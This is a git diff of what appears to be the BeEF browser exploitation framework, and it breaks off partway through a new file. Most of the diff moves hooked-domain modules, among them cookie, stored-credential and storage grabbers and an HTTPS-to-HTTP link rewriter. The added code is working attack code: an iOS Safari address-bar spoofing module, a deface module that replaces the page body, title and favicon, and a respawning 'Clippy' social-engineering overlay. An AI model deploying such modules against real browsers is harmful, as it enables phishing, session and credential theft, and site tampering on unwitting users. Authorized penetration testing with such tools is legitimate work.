modules/browser/hooked_domain/deface_web_page/command.js index 1c43fa298..feff12512 100644 --- a/modules/hooked_domain/deface_web_page/command.js +++ b/modules/browser/hooked_domain/deface_web_page/command.js @@ -14,7 +14,10 @@ // limitations under the License. // beef.execute(function() { + document.body.innerHTML = "<%= @deface_content %>"; + document.title = "<%= @deface_title %>"; + beef.browser.changeFavicon("<%= @deface_favicon %>"); beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Deface Successful"); }); diff --git a/modules/hooked_domain/deface_web_page/config.yaml b/modules/browser/hooked_domain/deface_web_page/config.yaml similarity index 84% rename from modules/hooked_domain/deface_web_page/config.yaml rename to modules/browser/hooked_domain/deface_web_page/config.yaml index 8d6b99fa5..22e8fdd4d 100644 --- a/modules/hooked_domain/deface_web_page/config.yaml +++ b/modules/browser/hooked_domain/deface_web_page/config.yaml @@ -17,9 +17,9 @@ beef: module: deface_web_page: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Replace Content (Deface)" - description: "Overwrite the body of the page the hooked browser is on with the 'Deface Content' string." + description: "Overwrite the page, title and shortcut icon on the hooked page." authors: ["antisnatchor"] target: user_notify: ['ALL'] diff --git a/modules/hooked_domain/deface_web_page/module.rb b/modules/browser/hooked_domain/deface_web_page/module.rb similarity index 67% rename from modules/hooked_domain/deface_web_page/module.rb rename to modules/browser/hooked_domain/deface_web_page/module.rb index d624577d8..ec5affdfc 100644 --- a/modules/hooked_domain/deface_web_page/module.rb +++ b/modules/browser/hooked_domain/deface_web_page/module.rb @@ -16,7 +16,11 @@ class Deface_web_page < BeEF::Core::Command def self.options + configuration = BeEF::Core::Configuration.instance + favicon_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/ui/media/images/favicon.ico" return [ + { 'name' => 'deface_title', 'description' => 'Page Title', 'ui_label' => 'New Title', 'value' => 'BeEF - The Browser Exploitation Framework Project', 'width'=>'200px' }, + { 'name' => 'deface_favicon', 'description' => 'Shortcut Icon', 'ui_label' => 'New Favicon', 'value' => favicon_uri, 'width'=>'200px' }, { 'name' => 'deface_content', 'description' => 'Your defacement content', 'ui_label'=>'Deface Content', 'type' => 'textarea', 'value' =>'BeEF!', 'width' => '400px', 'height' => '100px' } ] end diff --git a/modules/hooked_domain/get_cookie/command.js b/modules/browser/hooked_domain/get_cookie/command.js similarity index 100% rename from modules/hooked_domain/get_cookie/command.js rename to modules/browser/hooked_domain/get_cookie/command.js diff --git a/modules/hooked_domain/get_cookie/config.yaml b/modules/browser/hooked_domain/get_cookie/config.yaml similarity index 94% rename from modules/hooked_domain/get_cookie/config.yaml rename to modules/browser/hooked_domain/get_cookie/config.yaml index a2f4c3d77..b535101ef 100644 --- a/modules/hooked_domain/get_cookie/config.yaml +++ b/modules/browser/hooked_domain/get_cookie/config.yaml @@ -17,7 +17,7 @@ beef: module: get_cookie: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Get Cookie" description: "This module will retrieve the session cookie from the current page." authors: ["bcoles"] diff --git a/modules/hooked_domain/get_cookie/module.rb b/modules/browser/hooked_domain/get_cookie/module.rb similarity index 100% rename from modules/hooked_domain/get_cookie/module.rb rename to modules/browser/hooked_domain/get_cookie/module.rb diff --git a/modules/hooked_domain/get_local_storage/command.js b/modules/browser/hooked_domain/get_local_storage/command.js similarity index 100% rename from modules/hooked_domain/get_local_storage/command.js rename to modules/browser/hooked_domain/get_local_storage/command.js diff --git a/modules/hooked_domain/get_local_storage/config.yaml b/modules/browser/hooked_domain/get_local_storage/config.yaml similarity index 96% rename from modules/hooked_domain/get_local_storage/config.yaml rename to modules/browser/hooked_domain/get_local_storage/config.yaml index dbafcdef0..2d6d5a011 100644 --- a/modules/hooked_domain/get_local_storage/config.yaml +++ b/modules/browser/hooked_domain/get_local_storage/config.yaml @@ -17,7 +17,7 @@ beef: module: get_local_storage: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Get Local Storage" description: "Extracts data from the HTML5 localStorage object." authors: ["bcoles"] diff --git a/modules/hooked_domain/get_local_storage/module.rb b/modules/browser/hooked_domain/get_local_storage/module.rb similarity index 100% rename from modules/hooked_domain/get_local_storage/module.rb rename to modules/browser/hooked_domain/get_local_storage/module.rb diff --git a/modules/hooked_domain/get_page_html/command.js b/modules/browser/hooked_domain/get_page_html/command.js similarity index 100% rename from modules/hooked_domain/get_page_html/command.js rename to modules/browser/hooked_domain/get_page_html/command.js diff --git a/modules/hooked_domain/get_page_html/config.yaml b/modules/browser/hooked_domain/get_page_html/config.yaml similarity index 94% rename from modules/hooked_domain/get_page_html/config.yaml rename to modules/browser/hooked_domain/get_page_html/config.yaml index c4c81fa99..77e2e9109 100644 --- a/modules/hooked_domain/get_page_html/config.yaml +++ b/modules/browser/hooked_domain/get_page_html/config.yaml @@ -17,7 +17,7 @@ beef: module: get_page_html: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Get Page HTML" description: "This module will retrieve the HTML from the current page." authors: ["bcoles"] diff --git a/modules/hooked_domain/get_page_html/module.rb b/modules/browser/hooked_domain/get_page_html/module.rb similarity index 100% rename from modules/hooked_domain/get_page_html/module.rb rename to modules/browser/hooked_domain/get_page_html/module.rb diff --git a/modules/hooked_domain/get_page_links/command.js b/modules/browser/hooked_domain/get_page_links/command.js similarity index 100% rename from modules/hooked_domain/get_page_links/command.js rename to modules/browser/hooked_domain/get_page_links/command.js diff --git a/modules/hooked_domain/get_page_links/config.yaml b/modules/browser/hooked_domain/get_page_links/config.yaml similarity index 94% rename from modules/hooked_domain/get_page_links/config.yaml rename to modules/browser/hooked_domain/get_page_links/config.yaml index 190f1f1ab..fd0422e2e 100644 --- a/modules/hooked_domain/get_page_links/config.yaml +++ b/modules/browser/hooked_domain/get_page_links/config.yaml @@ -17,7 +17,7 @@ beef: module: get_page_links: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Get Page HREFs" description: "This module will retrieve HREFs from the target page." authors: ["vo"] diff --git a/modules/hooked_domain/get_page_links/module.rb b/modules/browser/hooked_domain/get_page_links/module.rb similarity index 100% rename from modules/hooked_domain/get_page_links/module.rb rename to modules/browser/hooked_domain/get_page_links/module.rb diff --git a/modules/hooked_domain/get_session_storage/command.js b/modules/browser/hooked_domain/get_session_storage/command.js similarity index 100% rename from modules/hooked_domain/get_session_storage/command.js rename to modules/browser/hooked_domain/get_session_storage/command.js diff --git a/modules/hooked_domain/get_session_storage/config.yaml b/modules/browser/hooked_domain/get_session_storage/config.yaml similarity index 96% rename from modules/hooked_domain/get_session_storage/config.yaml rename to modules/browser/hooked_domain/get_session_storage/config.yaml index 16719c9da..417d52853 100644 --- a/modules/hooked_domain/get_session_storage/config.yaml +++ b/modules/browser/hooked_domain/get_session_storage/config.yaml @@ -17,7 +17,7 @@ beef: module: get_session_storage: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Get Session Storage" description: "Extracts data from the HTML5 sessionStorage object." authors: ["bcoles"] diff --git a/modules/hooked_domain/get_session_storage/module.rb b/modules/browser/hooked_domain/get_session_storage/module.rb similarity index 100% rename from modules/hooked_domain/get_session_storage/module.rb rename to modules/browser/hooked_domain/get_session_storage/module.rb diff --git a/modules/hooked_domain/get_stored_credentials/command.js b/modules/browser/hooked_domain/get_stored_credentials/command.js similarity index 100% rename from modules/hooked_domain/get_stored_credentials/command.js rename to modules/browser/hooked_domain/get_stored_credentials/command.js diff --git a/modules/hooked_domain/get_stored_credentials/config.yaml b/modules/browser/hooked_domain/get_stored_credentials/config.yaml similarity index 95% rename from modules/hooked_domain/get_stored_credentials/config.yaml rename to modules/browser/hooked_domain/get_stored_credentials/config.yaml index 486ef8950..ad865fbc1 100644 --- a/modules/hooked_domain/get_stored_credentials/config.yaml +++ b/modules/browser/hooked_domain/get_stored_credentials/config.yaml @@ -17,7 +17,7 @@ beef: module: get_stored_credentials: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Get Stored Credentials" description: "This module retrieves saved username/password combinations from the login page on the hooked domain.

It will fail if more than one set of domain credentials are saved in the browser." authors: ["bcoles"] diff --git a/modules/hooked_domain/get_stored_credentials/module.rb b/modules/browser/hooked_domain/get_stored_credentials/module.rb similarity index 100% rename from modules/hooked_domain/get_stored_credentials/module.rb rename to modules/browser/hooked_domain/get_stored_credentials/module.rb diff --git a/modules/hooked_domain/link_rewrite/command.js b/modules/browser/hooked_domain/link_rewrite/command.js similarity index 100% rename from modules/hooked_domain/link_rewrite/command.js rename to modules/browser/hooked_domain/link_rewrite/command.js diff --git a/modules/hooked_domain/link_rewrite/config.yaml b/modules/browser/hooked_domain/link_rewrite/config.yaml similarity index 94% rename from modules/hooked_domain/link_rewrite/config.yaml rename to modules/browser/hooked_domain/link_rewrite/config.yaml index 5d6315975..a2420dcae 100644 --- a/modules/hooked_domain/link_rewrite/config.yaml +++ b/modules/browser/hooked_domain/link_rewrite/config.yaml @@ -17,7 +17,7 @@ beef: module: link_rewrite: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Replace HREFs" description: "This module will rewrite all the href attributes of all matched links." authors: ["passbe"] diff --git a/modules/hooked_domain/link_rewrite/module.rb b/modules/browser/hooked_domain/link_rewrite/module.rb similarity index 100% rename from modules/hooked_domain/link_rewrite/module.rb rename to modules/browser/hooked_domain/link_rewrite/module.rb diff --git a/modules/hooked_domain/link_rewrite_sslstrip/command.js b/modules/browser/hooked_domain/link_rewrite_sslstrip/command.js similarity index 100% rename from modules/hooked_domain/link_rewrite_sslstrip/command.js rename to modules/browser/hooked_domain/link_rewrite_sslstrip/command.js diff --git a/modules/hooked_domain/link_rewrite_sslstrip/config.yaml b/modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml similarity index 95% rename from modules/hooked_domain/link_rewrite_sslstrip/config.yaml rename to modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml index bcb1d305f..ab5dbbee4 100644 --- a/modules/hooked_domain/link_rewrite_sslstrip/config.yaml +++ b/modules/browser/hooked_domain/link_rewrite_sslstrip/config.yaml @@ -17,7 +17,7 @@ beef: module: link_rewrite_sslstrip: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Replace HREFs (HTTPS)" description: "This module will rewrite all the href attributes of HTTPS links to use HTTP instead of HTTPS. Links relative to the web root are not rewritten." authors: ["bcoles"] diff --git a/modules/hooked_domain/link_rewrite_sslstrip/module.rb b/modules/browser/hooked_domain/link_rewrite_sslstrip/module.rb similarity index 100% rename from modules/hooked_domain/link_rewrite_sslstrip/module.rb rename to modules/browser/hooked_domain/link_rewrite_sslstrip/module.rb diff --git a/modules/browser/hooked_domain/mobilesafari_address_spoofing/command.js b/modules/browser/hooked_domain/mobilesafari_address_spoofing/command.js new file mode 100644 index 000000000..48cbdaab1 --- /dev/null +++ b/modules/browser/hooked_domain/mobilesafari_address_spoofing/command.js @@ -0,0 +1,38 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// + +var somethingsomething = function() { + var fake_url = "<%= @fake_url %>"; + var real_url = "<%= @real_url %>"; + + var newWindow = window.open(fake_url,'newWindow<%= @command_id %>','width=200,height=100,location=yes'); + newWindow.document.write(''); + newWindow.focus(); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Spoofed link clicked'); +} + +beef.execute(function() { + + $j('<%= @domselectah %>').each(function() { + $j(this).attr('href','#').click(function() { + somethingsomething(); + return true; + }); + }); + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=All links rewritten'); + +}); \ No newline at end of file diff --git a/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml b/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml new file mode 100644 index 000000000..163bf3056 --- /dev/null +++ b/modules/browser/hooked_domain/mobilesafari_address_spoofing/config.yaml @@ -0,0 +1,30 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + mobilesafari_address_spoofing: + enable: true + category: ["Browser","Hooked Domain"] + name: "iOS Address Bar Spoofing" + description: "Mobile Safari iOS 5.1 Address Bar Spoofing. This is fixed in latest version of Mobile Safari (the URL turns 'blank')" + authors: ["bcoles","xntrik","majorsecurity.net"] + target: + working: + S: + os: ["iPhone"] + not_working: + ALL: + os: ["All"] diff --git a/modules/browser/hooked_domain/mobilesafari_address_spoofing/module.rb b/modules/browser/hooked_domain/mobilesafari_address_spoofing/module.rb new file mode 100644 index 000000000..b5f95a712 --- /dev/null +++ b/modules/browser/hooked_domain/mobilesafari_address_spoofing/module.rb @@ -0,0 +1,34 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Mobilesafari_address_spoofing < BeEF::Core::Command + + def self.options + return [ + {'name' => 'fake_url', 'ui_label' => 'Fake URL', 'type' => 'text', 'value' =>'http://en.wikipedia.org/wiki/Beef'}, + {'name' => 'real_url', 'ui_label' => 'Real URL', 'type' => 'text', 'value' => 'http://www.beefproject.com'}, + {'name' => 'domselectah', 'ui_label' => 'jQuery Selector for Link rewriting. \'a\' will overwrite all links', 'type' => 'text', 'value' => 'a'} + ] + end + + def post_execute + content = {} + content['results'] = @datastore['results'] + content['query'] = @datastore['query'] + save content + end + +end + diff --git a/modules/hooked_domain/prompt_dialog/command.js b/modules/browser/hooked_domain/prompt_dialog/command.js similarity index 100% rename from modules/hooked_domain/prompt_dialog/command.js rename to modules/browser/hooked_domain/prompt_dialog/command.js diff --git a/modules/hooked_domain/prompt_dialog/config.yaml b/modules/browser/hooked_domain/prompt_dialog/config.yaml similarity index 94% rename from modules/hooked_domain/prompt_dialog/config.yaml rename to modules/browser/hooked_domain/prompt_dialog/config.yaml index b786633cb..8b3f21ac4 100644 --- a/modules/hooked_domain/prompt_dialog/config.yaml +++ b/modules/browser/hooked_domain/prompt_dialog/config.yaml @@ -17,7 +17,7 @@ beef: module: prompt_dialog: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Create Prompt Dialog" description: "Sends a prompt dialog to the hooked browser." authors: ["wade", "bm"] diff --git a/modules/hooked_domain/prompt_dialog/module.rb b/modules/browser/hooked_domain/prompt_dialog/module.rb similarity index 100% rename from modules/hooked_domain/prompt_dialog/module.rb rename to modules/browser/hooked_domain/prompt_dialog/module.rb diff --git a/modules/hooked_domain/replace_video/command.js b/modules/browser/hooked_domain/replace_video/command.js similarity index 100% rename from modules/hooked_domain/replace_video/command.js rename to modules/browser/hooked_domain/replace_video/command.js diff --git a/modules/hooked_domain/replace_video/config.yaml b/modules/browser/hooked_domain/replace_video/config.yaml similarity index 95% rename from modules/hooked_domain/replace_video/config.yaml rename to modules/browser/hooked_domain/replace_video/config.yaml index d0de2f081..9fb293c7e 100644 --- a/modules/hooked_domain/replace_video/config.yaml +++ b/modules/browser/hooked_domain/replace_video/config.yaml @@ -17,7 +17,7 @@ beef: module: replace_video: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Replace Videos" description: "Replaces an object selected with jQuery (all embed tags by default) with an embed tag containing the youtube video of your choice (rickroll by default)." authors: ["Yori Kvitchko", "antisnatchor"] diff --git a/modules/hooked_domain/replace_video/module.rb b/modules/browser/hooked_domain/replace_video/module.rb similarity index 100% rename from modules/hooked_domain/replace_video/module.rb rename to modules/browser/hooked_domain/replace_video/module.rb diff --git a/modules/hooked_domain/rickroll/command.js b/modules/browser/hooked_domain/rickroll/command.js similarity index 100% rename from modules/hooked_domain/rickroll/command.js rename to modules/browser/hooked_domain/rickroll/command.js diff --git a/modules/hooked_domain/rickroll/config.yaml b/modules/browser/hooked_domain/rickroll/config.yaml similarity index 94% rename from modules/hooked_domain/rickroll/config.yaml rename to modules/browser/hooked_domain/rickroll/config.yaml index 0335b05ce..d8014fcc2 100644 --- a/modules/hooked_domain/rickroll/config.yaml +++ b/modules/browser/hooked_domain/rickroll/config.yaml @@ -17,7 +17,7 @@ beef: module: rickroll: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Redirect Browser (Rickroll)" description: "Overwrite the body of the page the victim is on with a full screen Rickroll." authors: ["Yori Kvitchko"] diff --git a/modules/hooked_domain/rickroll/module.rb b/modules/browser/hooked_domain/rickroll/module.rb similarity index 100% rename from modules/hooked_domain/rickroll/module.rb rename to modules/browser/hooked_domain/rickroll/module.rb diff --git a/modules/hooked_domain/site_redirect/command.js b/modules/browser/hooked_domain/site_redirect/command.js similarity index 100% rename from modules/hooked_domain/site_redirect/command.js rename to modules/browser/hooked_domain/site_redirect/command.js diff --git a/modules/hooked_domain/site_redirect/config.yaml b/modules/browser/hooked_domain/site_redirect/config.yaml similarity index 94% rename from modules/hooked_domain/site_redirect/config.yaml rename to modules/browser/hooked_domain/site_redirect/config.yaml index a033f29ae..306c3e7a2 100644 --- a/modules/hooked_domain/site_redirect/config.yaml +++ b/modules/browser/hooked_domain/site_redirect/config.yaml @@ -17,7 +17,7 @@ beef: module: site_redirect: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Redirect Browser" description: "This module will redirect the selected hooked browser to the address specified in the 'Redirect URL' input." authors: ["wade", "vo"] diff --git a/modules/hooked_domain/site_redirect/module.rb b/modules/browser/hooked_domain/site_redirect/module.rb similarity index 100% rename from modules/hooked_domain/site_redirect/module.rb rename to modules/browser/hooked_domain/site_redirect/module.rb diff --git a/modules/hooked_domain/site_redirect_iframe/command.js b/modules/browser/hooked_domain/site_redirect_iframe/command.js similarity index 93% rename from modules/hooked_domain/site_redirect_iframe/command.js rename to modules/browser/hooked_domain/site_redirect_iframe/command.js index 2a0c1a59f..f707b25f7 100644 --- a/modules/hooked_domain/site_redirect_iframe/command.js +++ b/modules/browser/hooked_domain/site_redirect_iframe/command.js @@ -18,6 +18,7 @@ beef.execute(function() { var result = 'Iframe successfully created!'; var title = '<%= @iframe_title %>'; var iframe_src = '<%= @iframe_src %>'; + var iframe_favicon = '<%= @iframe_favicon %>'; var sent = false; $j("iframe").remove(); @@ -25,6 +26,7 @@ beef.execute(function() { beef.dom.createIframe('fullscreen', 'get', {'src':iframe_src}, {}, function() { if(!sent) { sent = true; document.title = title; beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+result); } }); document.body.scroll = "no"; document.documentElement.style.overflow = 'hidden'; + beef.browser.changeFavicon(iframe_favicon); setTimeout(function() { if(!sent) { diff --git a/modules/hooked_domain/site_redirect_iframe/config.yaml b/modules/browser/hooked_domain/site_redirect_iframe/config.yaml similarity index 80% rename from modules/hooked_domain/site_redirect_iframe/config.yaml rename to modules/browser/hooked_domain/site_redirect_iframe/config.yaml index 2f6e62898..9e5d349c3 100644 --- a/modules/hooked_domain/site_redirect_iframe/config.yaml +++ b/modules/browser/hooked_domain/site_redirect_iframe/config.yaml @@ -17,9 +17,9 @@ beef: module: site_redirect_iframe: enable: true - category: "Hooked Domain" + category: ["Browser","Hooked Domain"] name: "Redirect Browser (iFrame)" - description: "This module creates a 100% x 100% overlaying iframe and keeps the browers hooked to the framework. The content of the iframe, page title and the time delay are specified in the parameters below.

The content of the URL bar will not be changed in the hooked browser." + description: "This module creates a 100% x 100% overlaying iframe and keeps the browers hooked to the framework. The content of the iframe, page title, page shortcut icon and the time delay are specified in the parameters below.

The content of the URL bar will not be changed in the hooked browser." authors: ["ethicalhack3r", "Yori Kvitchko"] target: user_notify: ["ALL"] diff --git a/modules/hooked_domain/site_redirect_iframe/module.rb b/modules/browser/hooked_domain/site_redirect_iframe/module.rb similarity index 80% rename from modules/hooked_domain/site_redirect_iframe/module.rb rename to modules/browser/hooked_domain/site_redirect_iframe/module.rb index 9d7860f51..8ca97afa1 100644 --- a/modules/hooked_domain/site_redirect_iframe/module.rb +++ b/modules/browser/hooked_domain/site_redirect_iframe/module.rb @@ -16,8 +16,12 @@ class Site_redirect_iframe < BeEF::Core::Command def self.options + configuration = BeEF::Core::Configuration.instance + favicon_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/ui/media/images/favicon.ico" return [ { 'name' => 'iframe_title', 'description' => 'Title of the iFrame', 'ui_label' => 'New Title', 'value' => 'BeEF - The Browser Exploitation Framework Project', 'width'=>'200px' }, + { 'name' => 'iframe_favicon', 'description' => 'Shortcut Icon', 'ui_label' => 'New Favicon', 'value' => favicon_uri, 'width'=>'200px' }, + { 'name' => 'iframe_src', 'description' => 'Source of the iFrame', 'ui_label' => 'Redirect URL', 'value' => 'http://beefproject.com/', 'width'=>'200px' }, { 'name' => 'iframe_timeout', 'description' => 'iFrame timeout', 'ui_label' => 'Timeout', 'value' => '3500', 'width'=>'150px' } ] diff --git a/modules/misc/clippy/command.js b/modules/misc/clippy/command.js new file mode 100755 index 000000000..ebc03f06a --- /dev/null +++ b/modules/misc/clippy/command.js @@ -0,0 +1,423 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + +/** + * Heretic Clippy + * @version 1.0.0 + * @author sprky0 + * @modified vt & denden +**/ + +function __clippyboot(run) { + var _run = run; + if (!document.getElementsByTagName("body")[0]) { + setTimeout(function(){__clippyboot(_run);},10); + } else { + _run(); + } +} + +var GUID = {base:"_",cur:0,get:function(){this.cur++;return this.base+this.cur;}} + +var HelpText = function(_question,reusable) { + this.question = _question; + this.options = []; + this.key = GUID.get(); + this.views = 0; + this.reusable = (reusable === true); + this.timeout = {}; + return this; +} +HelpText.prototype.available = function() { + return (this.views < 1 || this.reusable === true); +} +HelpText.prototype.addResponseURL = function(_text,_url) { + this.options.push({text:_text,URL:_url,rel:"external"}); + return; +} +HelpText.prototype.addResponse = function(_text,_callback) { + this.options.push({text:_text,callback:_callback,rel:"internal"}); + return; +} +HelpText.prototype.addTimeout = function(_timeout,_callback) { + this.timeout = {callback:_callback,timeout:_timeout}; +} +HelpText.prototype.getKey = function() {return this.key;} +HelpText.prototype.toString = function() { + return this.question; +} +HelpText.prototype.toString = function() { + return this.getKey(); +} +HelpText.prototype.toElements = function() { + + this.views++; + + var div = document.createElement('div'); + var p = document.createElement('p'); + p.innerHTML = this.question; + div.appendChild(p); + + for(var i = 0; i < this.options.length; i++) { + var button = document.createElement('button'); + button.innerHTML = this.options[i].text; + if (this.options[i].rel == "internal") + button.onclick = this.options[i].callback; + else { + var _Option = this.options[i]; + button.onclick = function(){ + window.location = _Option.URL; + } + } + div.appendChild(button); + } + + if (this.timeout.callback && typeof(this.timeout.callback) == "function") { + setTimeout(this.timeout.callback, (this.timeout.timeout ? this.timeout.timeout : 500)); + } + + return div; +} + +/* CLIPPY Display */ +var ClippyDisplay = function(options) { + + this.file_dir = (options.file_dir) ? options.file_dir : ""; + + this.div = document.createElement('div'); + this.div.style.zIndex = 1000000; + this.div.style.width = "102px"; + this.div.style.height = "98px"; + this.div.style.backgroundColor = "transparent"; + this.div.style.position = "absolute"; + this.div.style.bottom = 0; + this.div.style.color = "black"; + this.div.style.right = "60px"; + this.div.style.display = "inline"; + + if (navigator.userAgent.match(/MSIE/)) { + this.div.style.filter = "revealTrans(transition=12,duration=1.8)"; + } + else { + var img = new Image(); + img.src = this.file_dir + "clippy-main.png"; + img.style.position = "relative"; + img.style.display = "block"; + img.id = "clippyid"; + + this.div.appendChild(img); + } + + this.div.style.opacity = (options.visible === false) ? 0 : 1; + + return this; +} +ClippyDisplay.prototype.getElement = function() { + return this.div || null; +} +ClippyDisplay.prototype.fadeIn = function(duration,options) { + + var _clipple = this; + + if (!options) + options = {}; + if (!options.step) + options.step = 1 / 200; + if (!options.value) + options.value = 0; + if (!options.remain) + options.remain = 199; + if (!options.increment) + options.increment = duration / 200; + + options.remain--; + options.value += options.step; + + if (navigator.userAgent.match(/MSIE/)) { + imgfile = _clipple.file_dir + "clippy-main.png"; + _clipple.div.filters[0].Apply(); + _clipple.div.innerHTML=""; + _clipple.div.filters[0].Play(); + } + else { + _clipple.div.style.opacity = options.value; + if (options.remain > 0) { setTimeout(function(){_clipple.fadeIn(duration,options);}, options.increment); } + } + + return; +} + + +ClippyDisplay.prototype.fadeOut = function(duration,options) { + + var _clipple = this; + + if (!options) + options = {}; + if (!options.step) + options.step = 1 / 200; + if (!options.value) + options.value = 1; + if (!options.remain) + options.remain = 199; + if (!options.increment) + options.increment = duration / 200; + + options.remain--; + options.value -= options.step; + _clipple.div.style.opacity = options.value; + + + + if (navigator.userAgent.match(/MSIE/)) { + document.body.removeChild(document.getElementById("pipes")); + } + else { + if (options.remain > 0) { + setTimeout(function(){_clipple.fadeOut(duration,options);}, options.increment); + } + else{ + document.body.removeChild(document.getElementById("pipes")); + } + } + + return; +} + + +/** SPEECH BUBBLE **/ + +var PopupDisplay = function(o,options) { + + this.file_dir = (options.file_dir) ? options.file_dir : ""; + + if (typeof(o) === "string") { + p = document.createElement('p'); + p.innerHTML = o; + o = p; + } + + this.div = document.createElement('div'); + this.div.style.zIndex = 1000000; + this.div.style.width = "130px"; + this.div.style.height = "auto"; + this.div.style.backgroundColor = "transparent"; + this.div.style.color = "black"; + this.div.style.position = "absolute"; + this.div.style.bottom = "85px"; + this.div.style.right = "55px"; + this.div.style.display = "block"; + + var imgTop = new Image(); + imgTop.src = this.file_dir + "clippy-speech-top.png"; + imgTop.style.position = "relative"; + imgTop.style.display = "block"; + this.div.appendChild(imgTop); + + this.message = document.createElement('div'); + this.message.style.background = "transparent url('" + this.file_dir + "clippy-speech-mid.png') top left repeat-y"; + this.message.style.padding = "8px"; + this.message.style.font = "11.5px Arial, Verdana, Sans"; + this.message.appendChild(o); + + this.div.appendChild(this.message); + + var imgBottom = new Image(); + imgBottom.src = this.file_dir + "clippy-speech-bottom.png"; + imgBottom.style.position = "relative"; + imgBottom.style.display = "block"; + this.div.appendChild(imgBottom); + + return this; +} +PopupDisplay.prototype.close = function() { + try { + var div = this.getElement(); + if (div != null && div.parentNode) { + div = div.parentNode; + div.removeChild(this.getElement()); + } + } catch(e) { + // alert(e) + } +} +PopupDisplay.prototype.getElement = function() { + return this.div; +} + + +/** CLIPPY controller **/ + +var Clippy = function(_homeSelector,file_dir) { + this.help = {}; + // What options are OK to use as an introductory question? + this.firstlines = []; + this.homebase = this.findHomeBase(_homeSelector); + this.timer = false; + this.file_dir = file_dir; + return this; +} +Clippy.prototype.findHomeBase = function(selector) { + + if (!selector) + selector = "body"; + + var ref = false; + + if (selector.charAt(0)=="#") { + ref = document.getElementById(selector); + } else { + ref = document.getElementsByTagName(selector)[0]; + + var div = document.createElement("div"); + + div.style.zIndex = 9999999; + div.id = "pipes"; + div.style.width = "300px"; + div.style.height = "300px"; + div.style.backgroundColor = "transparent"; + div.style.position = "absolute"; + div.style.bottom = "0"; + div.style.right = "0"; + + ref.appendChild(div); + + return div; + + } + + console.log(ref); + + return ref; +} +Clippy.prototype.run = function(opt) { + + var _c = this; + + this.character = new ClippyDisplay({ + file_dir : this.file_dir, + visible : false + }); + this.homebase.appendChild( this.character.getElement() ); + this.character.fadeIn(1000); + + var Help = new HelpText("<%== @askusertext %>"); + Help.addResponse("Yes", function(){ _c.hahaha(); } ); + Help.addResponse("Not now", function(){ _c.killClippy(); setTimeout(function() { new Clippy("body","<%== @clippydir %>").run(); },"<%== @respawntime %>"); } ); + this.addHelp(Help,true); + + // initial wait + this.talkLater(); + +} +Clippy.prototype.killClippy = function(){ + + this.closeBubble(); + this.character.fadeOut(1000); +} +Clippy.prototype.hahaha = function() { + + var div = document.createElement("div"); + var _c = this; + div.id = "heehee"; + div.style.display = "none"; + div.innerHTML=""; + + document.body.appendChild(div); + _c.openBubble("<%== @thankyoumessage %>"); + setTimeout(function () { _c.killClippy(); }, 5000); + +} +Clippy.prototype.addHelp = function(_help, is_startphrase) { + this.help[ _help.getKey() ] = _help; + if (is_startphrase) + this.firstlines.push( _help.getKey() ); + + return; +} +Clippy.prototype.sayOne = function(keys,alternative) { + + var found = false, count = 0; + + while(count < keys.length) { + var choice = parseInt( Math.random() * keys.length ); + if( this.canSay( keys[choice]) ) { + this.say(keys[choice]); + return; + } + count ++; + } + + return; +} +Clippy.prototype.canSay = function(key) { + return this.help[ key ].available(); +} +Clippy.prototype.say = function(key,alternative) { + + if (this.timer != false) { + try { + 